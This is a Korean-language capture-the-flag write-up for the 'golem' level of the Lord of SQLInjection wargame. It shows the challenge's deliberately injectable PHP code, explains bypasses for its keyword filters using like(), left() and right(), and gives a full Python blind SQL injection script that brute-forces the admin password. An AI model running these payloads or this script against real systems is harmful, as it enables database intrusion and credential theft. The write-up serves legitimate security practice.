Contents #
Problem Descrpition and Analysis #
본 문제는 다음과 같이 제시된다[1]:
1<?php
2 include "./config.php";
3 login_chk();
4 $db = dbconnect();
5 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
6 if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
7 $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
8 echo "<hr>query : <strong>{$query}</strong><hr><br>";
9 $result = @mysqli_fetch_array(mysqli_query($db,$query));
10 if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
11
12 $_GET[pw] = addslashes($_GET[pw]);
13 $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
14 $result = @mysqli_fetch_array(mysqli_query($db,$query));
15 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
16 highlight_file(__FILE__);
17?>
제시된 문제를 살펴보면 and, or, substr(, 등호를 필터링하고 있음을 알 수 있다. 이때 등호 필터링은 SQL like()로 우회할 수 있으며, 이는 다음과 같이 확인해볼 수 있다:
pw=%27||%20id%20like(%27admin%27)%23
그리고 substr( 필터링은 SQL left(), right()를 적절히 사용하여 우회할 수 있다.
Exploit #
제시된 문제의 pw를 얻는 과정은 다음 세 단계를 거친다:
- Get the length of a pw
- Get the bit length of each character in a pw
- Get the ascii code of each character
그리고 이를 구현하면 다음과 같다:
1import requests
2
3def get_request_response(arg_url, arg_header):
4 response = requests.get(arg_url, headers=arg_header)
5 return response.text
6
7def build_query_pwlen(arg_url, arg_pwlen):
8 query = f"{arg_url}'||id like('admin')%26%26length(pw) like {arg_pwlen}--%09"
9 return query
10
11def get_pwlen(arg_url, arg_header):
12 password_length = 0
13 while True:
14 query_url = build_query_pwlen(arg_url, password_length)
15 query_result = get_request_response(query_url, arg_header)
16 print(query_url)
17 if "<h2>" in query_result:
18 break
19 password_length += 1
20 return password_length
21
22def build_query_bitlen(arg_url, arg_loc, arg_bitlen):
23 query = f"{arg_url}'||id like('admin')%26%26length(bin(ascii(right(left(pw, {arg_loc}), 1)))) like {arg_bitlen}--%09"
24 return query
25
26def get_charset(arg_url, arg_header, arg_pwlen):
27 bit_length = 0
28 bit_length_lst = []
29 for i in range(1, arg_pwlen + 1):
30 bit_length = 0
31 while True:
32 query_url = build_query_bitlen(arg_url, i, bit_length)
33 query_result = get_request_response(query_url, arg_header)
34 print(query_url)
35 if "<h2>" in query_result:
36 bit_length_lst.append(bit_length)
37 break
38 bit_length += 1
39 return bit_length_lst
40
41def build_query_pwchar(arg_url, arg_loc, arg_pwchar):
42 query = f"{arg_url}'||id like('admin')%26%26ascii(right(left(pw, {arg_loc}), 1)) like {arg_pwchar}--%09"
43 return query
44
45def get_pw(arg_url, arg_header, arg_pwlen, arg_bitlen_lst):
46 password_lst = []
47 for i in range(1, arg_pwlen + 1):
48 for j in range(0, 1 << (arg_bitlen_lst[i - 1] - 1) + 1):
49 query_url = build_query_pwchar(arg_url, i, j)
50 query_result = get_request_response(query_url, arg_header)
51 print(f"query url: {query_url}")
52 if "<h2>" in query_result:
53 print(j)
54 password_lst.append(j)
55 break
56 if j == 1 << (arg_bitlen_lst[i - 1]):
57 print('Not found')
58 break
59 return password_lst
60
61if __name__ == "__main__":
62 url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw='
63 header = { 'cookie': 'PHPSESSID=3l6k9n979fnctmrtri140s0dbm' }
64
65 print('---[ Stage 1: Get password length')
66 password_length = get_pwlen(url, header)
67 print(f"Password length: {password_length}\n")
68
69 print('---[ Stage 2: Check character set')
70 bit_length_lst = get_charset(url, header, password_length)
71 print(f"Bit length list: {bit_length_lst}")
72
73 print('---[ Stage 3: Bruteforce password')
74 password_lst = get_pw(url, header, password_length, bit_length_lst)
75 password_string = [chr(x) for x in password_lst]
76 print(f"Password: {password_string}")
References #
- "golem," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 08, 2024].